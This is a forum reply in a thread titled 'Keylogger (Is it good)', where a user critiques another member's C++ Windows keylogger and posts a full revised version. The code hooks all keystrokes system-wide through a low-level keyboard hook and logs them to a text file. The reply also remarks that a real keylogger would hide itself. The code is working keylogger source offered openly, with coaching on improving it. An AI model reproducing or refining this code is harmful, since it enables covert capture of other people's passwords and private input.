Login Register


Keylogger (Is it good) filter_list
Author
Message
RE: Keylogger (Is it good) #6
It's pretty basic, but not entirely correct either...
Code:
char(tolower(p->vkCode))

^^ This will output inaccuracies based on a few VK keycodes you have missed (VK_DECIMAL, function keys...) for instance, and I would also stay far away from functional casts too for various reasons.

The one thing I would change is move:
Code:
ofstream out("keys.txt", ios::out);

Inside main. Declare a pointer to an ofstream outside, and point it to out within main. Then get rid of 'out.close();' because you don't need it.

Code:
#define _WIN32_WINNT 0x0500 #include <fstream> #include <windows.h> using namespace std; ofstream *p_out; LRESULT CALLBACK keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam) { PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT)(lParam); // If key is being pressed if (wParam == WM_KEYDOWN) { switch (p->vkCode) { // Invisible keys case VK_CAPITAL: *p_out << "<CAPLOCK>"; break; case VK_SHIFT: *p_out << "<SHIFT>"; break; case VK_LCONTROL: *p_out << "<LCTRL>"; break; case VK_RCONTROL: *p_out << "<RCTRL>"; break; case VK_INSERT: *p_out << "<INSERT>"; break; case VK_END: *p_out << "<END>"; break; case VK_PRINT: *p_out << "<PRINT>"; break; case VK_DELETE: *p_out << "<DEL>"; break; case VK_BACK: *p_out << "<BK>"; break; case VK_LEFT: *p_out << "<LEFT>"; break; case VK_RIGHT: *p_out << "<RIGHT>"; break; case VK_UP: *p_out << "<UP>"; break; case VK_DOWN: *p_out << "<DOWN>"; break; // Visible keys default: *p_out << char(tolower(p->vkCode)); } } return CallNextHookEx(NULL, nCode, wParam, lParam); } int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) { ofstream out("keys.txt", ios::out); p_out = &out; // Set windows hook HHOOK keyboardHook = SetWindowsHookEx( WH_KEYBOARD_LL, keyboardHookProc, hInstance, 0); MessageBox(NULL, "Press OK to stop logging.", "Information", MB_OK); // out.close(); }

There are more non-printable keys of course (as mentioned). A real keylogger would probably hide itself too, but I'm assuming that this is just a base start. I also typically stay away from C style casts in C++.
ArkPhaze
"Object oriented way to get rich? Inheritance"
Getting Started: C/C++ | Common Mistakes
[ Assembly / C++ / .NET / Haskell / J Programmer ]

Reply





Messages In This Thread
Keylogger (Is it good) - by Sikom - 01-22-2015, 03:41 PM
RE: Keylogger (Is it good) - by Eclipse - 01-22-2015, 07:57 PM
RE: Keylogger (Is it good) - by Sikom - 01-22-2015, 07:59 PM
RE: Keylogger (Is it good) - by Eclipse - 01-22-2015, 09:14 PM
RE: Keylogger (Is it good) - by phyrrus9 - 01-22-2015, 10:57 PM
RE: Keylogger (Is it good) - by ArkPhaze - 01-23-2015, 03:56 AM
RE: Keylogger (Is it good) - by Sikom - 01-23-2015, 10:07 AM
RE: Keylogger (Is it good) - by ArkPhaze - 01-24-2015, 12:51 AM
RE: Keylogger (Is it good) - by SKVVV - 02-05-2015, 02:01 AM
RE: Keylogger (Is it good) - by carollight - 10-10-2015, 10:05 AM
RE: Keylogger (Is it good) - by Bish0pQ - 10-10-2015, 11:17 AM
RE: Keylogger (Is it good) - by Penis - 10-10-2015, 10:40 PM



Users browsing this thread: 1 Guest(s)